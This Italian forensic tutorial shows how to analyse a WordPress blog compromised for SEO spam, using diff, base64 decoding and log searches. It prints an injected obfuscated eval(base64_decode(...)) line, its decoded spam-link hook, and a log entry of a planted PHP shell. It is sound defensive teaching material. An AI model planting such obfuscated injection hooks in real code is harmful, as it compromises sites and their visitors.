Analisi di un blog WordPress compromesso

Mario Pascucci

Prima pubblicazione maggio 2008

Diario delle Revisioni

Revisione 0.0.2 2008-05-02 Revisionato da: MP
Trasformazione in PDF
Revisione 0.0.1 2008-04-30 Revisionato da: MP
Prima versione

Presentazione

Per pura curiosità mi sono trovato ad indagare su un attacco generalizzato a blog basati sulla piattaforma WordPress, attacco mirato alla diffusione di spam. Durante le indagini, purtroppo compiute con mezzi molto limitati, ho usato tecniche piuttosto semplici, ma molto efficaci, mirate ad individuare quali file fossero modificati e come.

Questo articolo raccoglie appunto tecniche ed osservazioni derivate da questa analisi, nello spirito di condividere quanto da me appreso in questa occasione.

Gli ingredienti di base

Non ci si improvvisa investigatori

Per cavare il ragno dal buco, in questo caso capire in che modo un attacco è riuscito a modificare una installazione di WordPress e come, occorre una rosa di competenze piuttosto ampia. Vediamo di riassumere.

Cose da sapere

WordPress è scritto in PHP, quindi, prevedibilmente, occorrerà una buona conoscenza di questo linguaggio di scripting. E' una applicazione Web, per cui occorre conoscere bene i protocolli coinvolti, quindi HTTP. In particolare occorre conoscere i dettagli dei meccanismi interni di funzionamento delle richieste GET e POST, degli header HTTP e delle risposte. Dato che WordPress fa anche uso di AJAX, un minimo di conoscenza dei meccanismi propri di questa tecnologia non guasta.

WordPress si appoggia su un database, di solito MySQL, ed ecco che occorre conoscere il linguaggio SQL e la struttura del database, almeno i fondamenti.

Ed ancora, il tutto si avvale di un web server, spesso Apache, ma anche altri, per cui occorre sapere almeno di cosa si sta parlando. Tanto per citare qualche concetto a caso: l'uso del file `.htaccess`, i permessi sui file, l'account utente con cui viene eseguito il web server.

Se poi siamo in una indagine di Informatica Forense, o *Computer Forensic*, le cose si complicano. Per quanto mi riguarda, non sono un professionista nel campo Forense, per cui rimando alla lettura dei testi appositi, certamente più mirati. Le operazioni qui descritte non sono distruttive e possono essere eseguite su una copia dei file costituenti l'installazione di WordPress compromessa, per cui almeno le basi di una indagine Forense sono rispettate, ma mi fermo qui.

Avvertenze

Per questi motivi, il presente testo non è alla portata di un principiante, né contiene ricette da seguire passo passo per arrivare al risultato, tanto care a molti normali utenti di computer. E' piuttosto un testo di livello avanzato, del tutto inadatto ad un utente medio. Inoltre non ha certamente la pretesa di costituire un *modus operandi*, né, tanto meno, una *best practice*. Per

carità. E' solo un modo per condividere quello che penso possa tornare utile a quelli che si trovino per le mani una situazione di questo tipo.

Inoltre, non tutti i possibili casi sono "trattabili" con le tecniche qui descritte. Gli individui che aggrediscono siti web sfruttando falle e configurazioni deboli dal lato sicurezza sono in continua ricerca di nuovi modi per fare danni, e soprattutto nuovi metodi per eludere e sviare gli investigatori. E' probabile che nel tempo questo documento perda di efficacia, ma le tecniche dovrebbero restare valide almeno come idea di fondo. Almeno spero.

Infine, dobbiamo per prima cosa ricordarci che stiamo manipolando codice malevolo, di cui non conosciamo le funzioni. Potrebbe sfuggirci qualcosa, e le conseguenze potrebbero essere gravi. Non voglio paragonare la cosa al manipolare ordigni innescati, ma, su scala differente, le cose sono molto assimilabili. Ovvio, un malware non ci esploderà in faccia, ma potrà sfuggire al nostro controllo ed appestare non solo il nostro computer, anche tutti quelli raggiungibili via rete. Quindi, per favore, *per favore*, non fate cose che non capite.

Se qualcuno ha l'impressione che questo venga detto per scoraggiare chi si vuole cimentare senza le necessarie conoscenze, confermo che l'impressione è giusta.

Legalese

Per quanto sia stata posta ogni attenzione nella stesura di questo testo, l'errore è sempre in agguato. Quindi, per forza di cose, nessuna garanzia di alcun tipo accompagna questo scritto.

L'analisi

Hosting, housing o server in cantina?

I dati a disposizione dipendono molto dal tipo di installazione di WordPress su cui andiamo a lavorare.

Il paradiso e il migliore dei mondi possibili

Se fossimo nella situazione del "server in cantina", saremmo in paradiso: una acquisizione diretta dell'immagine del disco del server compromesso, e potremmo lavorare con tutti i dati a disposizione: il codice di WordPress, il database, i log del web server, il filesystem completo.

La situazione è che spesso il sito è in hosting, ossia il server è gestito da altri e abbiamo a disposizione poco o niente. Il minimo indispensabile è una copia della directory di installazione di WordPress, con tutti i file dentro, preservando se possibile almeno date e permessi. Se siamo in hosting, appunto, è il massimo che possiamo chiedere. Se abbiamo accesso shell al server, allora una *tarball* della directory di installazione di WordPress, eseguita in modo da preservare date, owner e permessi di tutti i file, è preferibile, sempre che sia disponibile nella shell fornita dal servizio di hosting.

In questa analisi supporremo di avere a disposizione solo il file `tar` dell'installazione di WordPress. Niente dump del database, niente log del server. Vedremo che in ogni caso molto si può ricavare anche da così pochi dati.

Altri ingredienti

Una distribuzione Linux, una qualsiasi. Usate la vostra preferita, senza problemi. Anche una versione *live* va benissimo. Useremo poche applicazioni ed utility che sono onnipresenti nelle distribuzioni più comuni.

Niente altro sarà necessario, a parte tempo e pazienza.

I sintomi dell'intrusione

Prima di iniziare, vediamo cosa mi ha condotto a ritenere che il blog che useremo come esempio in questo articolo fosse in qualche modo compromesso. Leggendo su un sito dove si parlava di come un blog con WordPress fosse stato riempito di link tipici dello spam, ho tentato semplicemente una ricerca con Google con alcune parole chiave che sembravano ricorrenti nei siti colpiti. Il risultato è stato a dir poco sorprendente: decine di siti con ognuno decine di link differenti, tutti riguardanti oggetti classici dello spam.

Visitando direttamente i siti non si notava nulla di strano. Ma arrivandoci da Google succedevano cose strane, come un redirect immediato verso una farmacia on-line.

Inoltre, visitando i siti in un certo modo, ossia presentandosi come lo spider di Google, il GoogleBot, la home page del sito veniva riempita di link invisibili con parole chiave tipiche da spam.

Tralascio tutti i dettagli, che gli interessati possono trovare sul mio blog (http://www.ismprofessional.net/pascucci/), negli articoli di fine aprile 2008. Dopo un po' sono riuscito a contattare un webmaster che mi ha inviato il contenuto di uno dei siti compromessi. Quello che andiamo ad analizzare insieme alla ricerca di prove, ovviamente reso in forma anonima per correttezza verso il webmaster.

Si parte

Apriamo il nostro *tarball*, al momento non ci interessa preservare gli *owner* dei file, bastano i permessi e le date. Da notare che dovrebbero esistere tre differenti date per ogni file o directory: la data di creazione, la data di ultima modifica e la data di ultimo accesso. Nel comando **ls** e nei file manager viene visualizzata sempre la data di ultima modifica. Teniamolo presente.

Per prima cosa andiamo a vedere la versione di WordPress, visibile dal file `wp-includes/version.php`, il cui contenuto è simile a questo:

```
<?php

// This holds the version number in a separate file so we can bump it without cluttering
// the SVN

$wp_version = '2.3.1';
$wp_db_version = 6124;

?>
```

Dobbiamo reperire la stessa versione dal deposito originale (http://wordpress.org/download/) di WordPress. Ci servirà per le operazioni che seguono. Se non troviamo la versione esatta, possiamo prendere la più vicina con numero di *release* maggiore. Se ad esempio abbiamo la 2.0.3, possiamo prendere la 2.0.4, le differenze non dovrebbero essere troppe.

Supponiamo di aver esploso i file del sito da analizzare in `~/wp-owned`, e di aver messo i file di WordPress originale in `~/wp-204`. Dentro a tutte e due le directory avremo una directory dal nome `wordpress`.

Plugin, temi e modifiche utente

Nel punto precedente abbiamo ricostruito quella che dovrebbe essere l'installazione di WordPress "vergine", ma, come spesso accade, ogni blog è personalizzato dall'utente con temi e plugin. Se poi è un utente avanzato, che sa dove mettere le mani, spesso ci sono anche modifiche sparse fra i vari file.

Per evitare di trovarci con troppi file da analizzare, o con troppo codice PHP da controllare, è utile rilevare appunto cosa è stato installato come estensioni, reperirli in Rete ed installarli anche nella copia pulita di WordPress. Le versioni sono di solito contenute nei sorgenti stessi dei plugin e dei temi, quindi non dovrebbe essere troppo difficile reperire gli originali. Semmai il problema è che difficilmente viene conservato l'archivio delle versioni, per cui ci si troverà con versioni differenti. In ogni caso, è comunque utile per escludere la presenza di file estranei e ridurre la quantità di codice da esaminare.

Non è consigliabile ignorare la presenza di temi e plugin, per il semplice fatto che sono anch'essi in PHP, quindi proni a possibili attacchi come qualsiasi altro script PHP.

Avendo un minimo di esperienza si possono individuare a colpo d'occhio le modifiche intenzionali da quelle "fraudolente".

Se nel blog è abilitato l'upload di materiale, occorre anche tenere d'occhio la directory di destinazione dei file inviati, di solito `wp-content/uploads`, nella directory di installazione di WordPress.

Ovviamente, se è possibile, non esiteremo a chiedere al proprietario o gestore del blog quali siano i file da lui modificati o inseriti. Informazione sempre da prendere con le dovute cautele: capita di non ricordare con precisione cosa abbiamo fatto, o se quel particolare file è nostro o meno.

La struttura delle directory di WordPress

Per dare un minimo di orientamento, ecco la struttura delle directory di WordPress per tre differenti versioni. Questa è la struttura per la versione 2.0.6, ottenuta col domando **tree**:

```
$ tree -d
.
|-- wp-admin
|   |-- images
|   `-- import
|-- wp-content
|   |-- plugins
|   |   `-- akismet
|   `-- themes
|       |-- classic
|       `-- default
|           `-- images
`-- wp-includes
    |-- images
    |   `-- smilies
    `-- js
        `-- tinymce
            |-- langs
            |-- plugins
            |   |-- autosave
            |   |   `-- langs
            |   |-- directionality
            |   |   |-- images
            |   |   `-- langs
            |   |-- inlinepopups
            |   |   |-- css
            |   |   |-- images
            |   |   `-- jscripts
            |   |-- wordpress
            |   |   |-- images
            |   |   `-- langs
            |   `-- wphelp
            |       |-- images
            |       `-- langs
            |-- themes
            |   `-- advanced
            |       |-- css
            |       |-- images
            |       |   `-- xp
            |       |-- jscripts
            |       `-- langs
            `-- utils
```

```
40 directories
```

Questa è invece la versione 2.3.2:

```
$ tree -d
.
|-- wp-admin
|   |-- css
|   |-- images
|   |-- import
|   |-- includes
|   `-- js
|-- wp-content
|   |-- plugins
|   |   `-- akismet
|   `-- themes
|       |-- classic
|       `-- default
|           `-- images
`-- wp-includes
    |-- images
    |   |-- smilies
    |   `-- wlw
    `-- js
        |-- crop
        |-- jquery
        |-- scriptaculous
        `-- tinymce
            |-- langs
            |-- plugins
            |   |-- autosave
            |   |   `-- langs
            |   |-- directionality
            |   |   |-- images
            |   |   `-- langs
            |   |-- inlinepopups
            |   |   |-- css
            |   |   |-- images
            |   |   `-- jscripts
            |   |-- paste
            |   |   |-- css
            |   |   |-- images
            |   |   |-- jscripts
            |   |   `-- langs
            |   |-- spellchecker
            |   |   |-- classes
            |   |   |-- css
            |   |   |-- images
            |   |   `-- langs
            |   |-- wordpress
            |   |   |-- images
            |   |   `-- langs
            |   `-- wphelp
            |       |-- images
            |       `-- langs
            |-- themes
            |   `-- advanced
            |       |-- css
            |       |-- images
            |       |   `-- xp
```

```
            |       |-- jscripts
            |       `-- langs
            `-- utils

57 directories
```

Questa è la versione 2.5.1:

```
$ tree -d
.
|-- wp-admin
|   |-- css
|   |-- images
|   |-- import
|   |-- includes
|   `-- js
|-- wp-content
|   |-- plugins
|   |   `-- akismet
|   `-- themes
|       |-- classic
|       `-- default
|           `-- images
`-- wp-includes
    |-- images
    |   |-- crystal
    |   |-- smilies
    |   `-- wlw
    `-- js
        |-- crop
        |-- jquery
        |-- scriptaculous
        |-- swfupload
        |   `-- plugins
        |-- thickbox
        `-- tinymce
            |-- langs
            |-- plugins
            |   |-- autosave
            |   |-- directionality
            |   |-- fullscreen
            |   |-- inlinepopups
            |   |   `-- skins
            |   |       `-- clearlooks2
            |   |           `-- img
            |   |-- media
            |   |   |-- css
            |   |   |-- img
            |   |   `-- js
            |   |-- paste
            |   |   |-- css
            |   |   `-- js
            |   |-- safari
            |   |-- spellchecker
            |   |   |-- classes
            |   |   |   `-- utils
            |   |   |-- css
            |   |   |-- img
            |   |   `-- includes
            |   `-- wordpress
```

```
|       |-- css
|       |-- img
|       `-- js
|-- themes
|   `-- advanced
|       |-- img
|       |-- js
|       `-- skins
|           |-- default
|           |   `-- img
|           |-- o2k7
|           |   `-- img
|           `-- wp_theme
|               `-- img
`-- utils

65 directories
```

Si nota immediatamente l'aumento di directory e di complessità dell'albero con l'evolvere delle versioni. Con questo comando abbiamo immediatamente il colpo d'occhio della situazione directory. Salvando l'output in file e confrontandoli si ottiene immediatamente una indicazione delle variazioni a livello di directory. Possibili varianti del comando **tree** implicano l'uso dell'opzione `-a` per vedere anche i file nascosti, `-D` mostra la data di ultima modifica, `-u` e `-g` mostrano owner e group. Uno sguardo alla pagina di manuale di **tree** non guasta, le opzioni sono veramente tante.

Trovare le modifiche

Il programma che useremo è **diff**. Tenendo presente la situazione di directory vista prima, il comando sarà:

```
$ diff -bBru ~/wp-204 ~/wp-owned > differenze.diff
```

Il risultato sarà il file `differenze.diff` che esamineremo fra poco. Le opzioni usate nel comando **diff** stanno a significare:

- `-b`: ignora le differenze costituite solo da un diverso numero di spazi bianchi. Se trova righe che differiscono per il numero di spazi bianchi, non le considera diverse. Ad esempio se una riga ha due parole separate da uno spazio, e la stessa riga nell'altro file contiene tre spazi per separare le stesse due parole, le considera identiche. Serve ad ignorare quelle che probabilmente sono modifiche innocue. Ovviamente se da un lato lo spazio c'è e dall'altro no, la modifica non viene ignorata.
- `-B`: stessa cosa per le righe vuote.
- `-r`: esamina ricorsivamente tutti i file e le directory a partire da quella data. Il file unico che viene prodotto ha un formato, che vedremo fra poco, che permette di discriminare quali file sono differenti e dove.
- `-u`: il formato del file di differenze è di tipo unificato. E' il formato normalmente utilizzato per le *patch* da applicare ai sorgenti, ed è umanamente leggibile.

Anche qui uno sguardo alla pagina man di **diff** è fortemente consigliato.

Per il file generato ho assegnato l'estensione `.diff` perché se usiamo un editor di testo che evidenzia la sintassi e riconosce il formato, ci troviamo il file con i suoi colori ben in vista. Un esempio è la versione GTK+ di VIM (http://www.vim.org/), **gvim**, disponibile anche per Windows. Andiamo a vedere un esempio reale per capire meglio.

Il file delle differenze

Apriamo il file appena generato, `differenze.diff`, e cominciamo a prenderci confidenza:

```
diff -bBru wp-204/wordpress/wp-admin/admin-db.php wp-owned/wordpress/wp-admin/admin-db.php
--- wp-204/wordpress/wp-admin/admin-db.php 2006-07-23 20:27:00.000000000 +0200
+++ wp-owned/wordpress/wp-admin/admin-db.php 2006-05-27 00:49:31.000000000 +0200
@@ -156,7 +156,7 @@
  $cat_ID = (int) $cat_ID;

  // Don't delete the default cat.
- if ($cat_ID == get_option('default_category'))
+ if (1 == $cat_ID)
   return 0;

  $category = get_category($cat_ID);
```

La prima riga rappresenta il comando eseguito il cui risultato è nelle righe che seguono. Oltre alle opzioni, viste sopra, abbiamo i nomi dei due file che vengono confrontati e dai quali scaturisce la differenza. Le due righe successive indicano a quale file appartengono le righe che iniziano con il segno meno e quelle col segno più. Per ogni file è elencato il percorso e data/ora di ultima modifica, in ora locale, con il fuso orario. Se serve torna utile per calcolare i tempi in UTC/GMT, cosa che si può fare anche usando in alternativa questo comando:

```
$ env TZ="utc" diff -bBru ~/wp-204 ~/wp-owned > differenze.diff
```

Il risultato è che la variabile d'ambiente **TZ**, che contiene il fuso orario dell'utente attuale, viene impostata a UTC, e quindi tutte le visualizzazioni saranno appunto in UTC. Ricordo che, almeno per i file system di ultima generazione (NTFS, ext2/3, ecc), data e ora dei file sono memorizzati in ora UTC, e solo la visualizzazione viene adattata al fuso orario dell'utente.

La riga che inizia con i due simboli "@@" indica per ognuno dei due file a partire da quale riga nel file si trovano quelle visualizzate, e quante sono. Nell'esempio, in entrambi i file il segmento visualizzato si trova a partire dalla riga 156 per un totale di 7 righe.

Seguono le tre righe di contesto, visualizzate nel formato unificato per aiutare a capire il contesto appunto delle righe modificate. Poi si arriva alla riga effettivamente modificata. Quella che inizia col segno meno appartiene al file `wp-204/wordpress/wp-admin/admin-db.php`, ossia all'originale, mentre quella col segno più è nel file appartenente al WordPress compromesso. In questo specifico caso la differenza è di una sola riga. Seguono le tre righe di contesto a chiusura.

Se usiamo Vim, le prime righe saranno in grassetto, verde scuro; l'indicazione delle righe coinvolte in rosso scuro, sempre grassetto; le righe di contesto, non modificate, in testo normale nero; le righe che iniziano col segno meno, quelle originali, saranno in testo normale, color lilla; le righe che iniziano col più, modificate, saranno in verde acqua.

Se esistono dei file o directory solo da una parte, **diff** le segnalerà in modo opportuno:

```
Only in wp-owned/wordpress/wp-content/themes/classic: locals.php
```

e Vim visualizzerà questi messaggi in rosa.

Abbiamo ora tutte le informazioni che ci servono per analizzare il codice di WordPress. Tocca a noi.

Esperienza e intuito

Certamente i più esperti potranno citare almeno tre o quattro applicazioni di analisi del codice PHP in grado di scovare stranezze nel codice. Ma per quanto è nella mia esperienza *niente* può sostituire il nostro intuito e la nostra esperienza.

Ma andiamo al sodo: eccovi un esempio preso direttamente da una installazione compromessa di WordPress:

```
    $dateformatstring = substr($dateformatstring, 1, strlen($dateformatstring)-1);
```

```
  }
  $j = @date($dateformatstring, $i);
+ eval(base64_decode('aWYoISRHTE9CQUxTWydkaGhhZyddKXtpZihoYXZlX3Bvc3RzKCkpeyRHTE9CQU
xTWydkaGhhZyddID0gMTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXtlY2hvIGdtbCgpO319fQ=='));
  if ( !$j ) {
  // for debug purposes
  //  echo $i." ".$mysqlstring;
```

La stringa è lunghissima ed ho dovuto spezzarla per motivi di impaginazione, chi vuole replicare le operazioni che seguono deve riunirla in una sola riga. Cosa fa il codice mostrato? Decodifica una stringa in formato detto Base64 (http://it.wikipedia.org/wiki/Base64), usato di solito per gli allegati nella posta elettronica, e poi la esegue come parte dello script. E' un tipico modo usato nel codice per nascondere istruzioni o stringhe che potrebbero essere cercate per rilevare manomissioni con certezza. Per capire a cosa equivale abbiamo diverse strade. Possiamo usare l'utility **base64** di Linux, presente nel pacchetto *coreutils*, in questo modo:

```
$ echo "aWYoZml...HAnKTt9" | base64 -d
if(!$GLOBALS['dhhag']){if(have_posts()){$GLOBALS['dhhag'] = 1;
if(function_exists('gml')){echo gml();}}}
```

Oppure possiamo installare la versione a riga di comando dell'interprete PHP, contenuta nel pacchetto *php-cli*, e creare un breve script:

```
#!/usr/bin/php
<?php

echo base64_decode('aWYoISRHTE9CQUxTWydkaGhhZyddKXtpZihoYXZlX3Bvc3RzKCkpeyRHTE9CQU
xTWydkaGhhZyddID0gMTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXtlY2hvIGdtbCgpO319fQ==');

echo "\n";

?>
```

e lanciarlo con:

```
$ php -f nomescript.php
```

Oppure assegnargli i permessi di esecuzione e lanciarlo come un normale script shell:

```
$ chmod a+x nomescript.php
$ ./nomescript.php
```

Il risultato è lo stesso. Vediamo cosa abbiamo fatto. Abbiamo estratto la chiamata a funzione **base64_decode** con la stringa e tutto, e ne abbiamo stampato il risultato. A naso, non sembrerebbe proprio codice di WordPress. Per quale motivo avrebbero dovuto nascondere in questo modo una chiamata a funzione (**gml**) subordinata alla definizione di una variabile globale (**$GLOBALS['dhhag']**)? Non c'è alcun motivo di fare cose simili in applicazioni Open Source.

In un altro punto del file delle differenze troviamo una stringa del tutto simile a quella mostrata, che nasconde una istruzione di inclusione di un file PHP, chiamato `js.php`, sepolto nella directory dei plugin dell'editor di WordPress, TinyMCE. Guardando nel file delle differenze si trova proprio quel file fra quelli che sono presenti solo nella versione compromessa, ergo qualcuno ce l'ha infilato.

Altro esempio: fra i file presenti solo nel WordPress compromesso c'è il file `wp-includes/class-mail.php`. Prima stranezza, il file è in una directory di solito non modificabile, e in cui, sempre di solito, non vengono piazzati plugin o altre estensioni. Aprendolo con un editor, appare la seconda stranezza. Questo è il contenuto:

```
<?php $wparr=unserialize(base64_decode("YToxM.......dD4="); ?>
```

dove i puntini sottintendono una lunghissima stringa, oltre 17.000 caratteri, su una unica riga. Anche qui siamo in presenza di quello che sembra un tentativo di nascondere qualcosa. Usiamo un altro trucco per vederne il contenuto. Copiamo il file in altra posizione, poi lo apriamo con un editor e lo modifichiamo come segue:

```
#!/usr/bin/php

<?php $wparr=unserialize(base64_decode("YToxM.......dD4=");

var_dump($wparr);

?>
```

In breve: aggiungiamo l'intestazione per eseguirlo come uno script shell, e prima del tag di chiusura del codice PHP aggiungiamo una chiamata di funzione a var_dump (http://it.php.net/var_dump), una funzione di ispezione di oggetti della libreria standard PHP. Perché non ho agito stampando la stringa risultante? Per via della presenza della funzione unserialize (http://it.php.net/manual/en/function.unserialize.php) che riporta in forma binaria il risultante di una operazione di serializzazione. La serializzazione, eseguita con la funzione serialize (http://it.php.net/manual/en/function.serialize.php), trasforma oggetti, tipicamente dati strutturati, in una rappresentazione leggibile appunto da **unserialize**. Il risultato è costituito da dati binari, quindi non direttamente stampabili, visto che possono essere anche array complessi. Per questo motivo ho passato l'oggetto di ritorno a **var_dump**. Il risultato è questo:

```
$ ./class_mail.php
array(100) {
  [0]=>
  array(2) {
    ["key"]=>
    string(18) "Refinance New York"
    ["url"]=>
    string(47) "http://www.photoshare.org/blog/?loan-offer=4335"
  }
  [1]=>
  array(2) {
    ["key"]=>
    string(33) "Refinance Los Angeles, California"
    ["url"]=>
    string(47) "http://www.photoshare.org/blog/?loan-offer=4336"
  }
  [2]=>
  array(2) {
    ["key"]=>
    string(27) "Refinance Chicago, Illinois"
    ["url"]=>
    string(47) "http://www.photoshare.org/blog/?loan-offer=4337"
  }
  ... fino a indice 99
```

E' un array di cento elementi composti ognuno da un array di due elementi con coppie chiave/valore associate. Il contenuto parla da solo: sono i link inseriti fraudolentemente dallo spammer nella home page del blog compromesso. Ovviamente il sito non è quello mostrato, che però è compromesso anch'esso, e presenta il comportamento di redirect.

Ricapitolando, abbiamo vari file estranei e iniezioni di codice nei file standard di WordPress. Le date di ultima modifica di questi file sono congruenti, e questa è una fortuna: in un altro caso mi è capitato che il cracker abbia modificato tutte le date dei file, sia quelli originali che quelli da lui modificati o inseriti, portandole alla stessa improbabile data, perché differente sia da quella dei file originali di WordPress, sia dalla data in cui il webmaster ha effettuato l'ultima modifica o aggiornamento. E' in ogni caso improbabile che *tutti* i file abbiano la stessa data e ora. A meno che, appunto, qualcuno voglia nascondere qualcosa.

Abbiamo per le mani il file `wp-content/themes/classic/locals.php`, il file `js.php` ed il file `wp-includes/class-mail.php`, tutti estranei alla normale installazione di WordPress. Rimane da stabilire come e quando siano arrivati là.

Se abbiamo i log del server

Il file `js.php`, che fra l'altro contiene sia la funzione **gml** che riferimenti alla variabile globale **$GLOBALS['dhhag']**, ha una data di modifica precisa. Avendo a disposizione il log del server possiamo andare a spulciarlo nei pressi di quella data e ora, alla ricerca tracce di attività sospetta. La strategia più semplice consiste nell'uso dell'utility **grep**, compresa nel pacchetto omonimo. Questa utility consente di effettuare ricerche in file di testo secondo dei pattern molto sofisticati corrispondenti alle cosiddette regular expression (http://it.wikipedia.org/wiki/Regular_expression). Se ad esempio vogliamo capire se il file citato sopra, `js.php`, compare in qualche punto del log del server, possiamo usare un comando simile a questo, supponendo che il log del web server sia nel file `access_log`:

```
$ grep -n "js\.php" access_log
```

Il comando stamperà tutte le righe dove compare la stringa **js.php** (backslash e virgolette sono obbligatorie), precedute dal numero di riga seguito dal due punti e dalla riga completa in cui compare la stringa. Se vogliamo il contesto come nel comando **diff** possiamo aggiungere l'opzione `-3` per avere tre righe, solo che in questo caso nelle righe precedenti e seguenti quella che contiene la stringa cercata il numero di riga sarà separato da un trattino invece dei due punti.

Per rendere le cose meno complicate possiamo restringere prima la ricerca alla data e ora dei file sospetti reperiti con il metodo delle differenze. In caso di esito negativo possiamo poi estendere la ricerca alle date precedenti: il file potrebbe essere stato generato da un POST, e quindi il suo nome non compare nei log. E' comunque più corretto prima analizzare tutto l'albero dei file alla ricerca di altri intrusi o di iniezioni di codice, poi passare ad analizzare i log, per avere prima un quadro più completo di cosa cercare.

Nel caso in questione, preso come esempio, il cracker ha prima modificato il tema "Classic" aggiungendo un file dal nome `locals.php` che è una shell in PHP. Da questa ha poi creato il file `js.php` con un upload dalla shell. Quindi nei log del server non vi è traccia del file `js.php`, ma all'ora in cui questo file risulta creato o modificato sui log del server c'è un POST (è una sola riga, l'ho spezzata per l'impaginazione):

```
10.1.10.1 - - [09/Apr/2008:15:14:56 +0200]
  "POST /blog/wp-content/themes/classic/locals.php?d=
  /var/www/wordpress/wp-content/themes/classic/&sh311=1 HTTP/1.1" 200 24880
  "http://url.del.blog/blog/wp-content/themes/classic/locals.php?d=
  /var/www/wordpress/wp-content/themes/classic/&sh311=1"
  "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.13)
  Gecko/20080311 Firefox/2.0.0.13"
```

Indirizzi, nomi e date sono "sanitizzate". La riga è presa dal log del server ed le variabili del POST non sono ovviamente visibili. Ma data e ora corrispondono perfettamente a quelle del file `js.php`. Le righe precedenti e successive mostrano una sequenza di GET e POST e sono quelle indicative dell'attività di intrusione.

In questo modo la ricerca del modo e del momento dell'intrusione è enormemente semplificata, permettendo la ricerca mirata di specifici nomi di file. Dal resto del log, che ometto, si intuisce che l'attaccante ha sfruttato una falla nel meccanismo di login, propria delle versioni 2.0.1 fino alla 2.0.6. Da notare anche la nazionalità dell'attaccante, esplicitata nella stringa dello *user agent* del browser.

Conclusione

Siamo al termine

Gli strumenti usati sono a costo zero, tutto Open Source e sotto licenza GPL. Il resto ha un costo non quantificabile, deter-

minato dal tempo e dall'impegno necessario ad acquisire gli strumenti irrinunciabili dell'investigatore: buonsenso, pazienza, tenacia e conoscenza.

Ringraziamenti

Un sentito ringraziamento a mia moglie, che tollera le ore passate dal sottoscritto al computer, e che per fortuna non si occupa di informatica.

Senza l'ottimo lavoro fatto dal team di sviluppo di Fedora (http://fedoraproject.org/), la mia distribuzione Linux di riferimento, questo documento non avrebbe potuto vedere la luce. Ovviamente la stessa gratitudine va agli innumerevoli individui che contribuiscono alla realizzazione di tutto il software Open Source che costituisce il corpo del sistema operativo Linux e il suo contorno di applicazioni adatte a tutte le esigenze.

Un sentito ringraziamento va ai ragazzi di Computer Forensic Italy (http://www.cfitaly.net/), da cui ho imparato ed imparo molto.

Un grazie, si fa per dire, alla programmazione televisiva, in virtù della quale ho recuperato tante ore che passo in modi più piacevoli e costruttivi, almeno per me.

Strumenti utilizzati

Per realizzare questo documento ho usato l'ambiente di creazione ed elaborazione testi di Fedora, aderente allo standard aperto DocBook XML, disponibile sul sito http://www.docbook.org/tdg/en/html/docbook.html. Il file XML sorgente di questo documento è stato realizzato con VIM (http://www.vim.org/), usando un file di personalizzazione dei comandi per i tag più usati.

Licenza e Copyright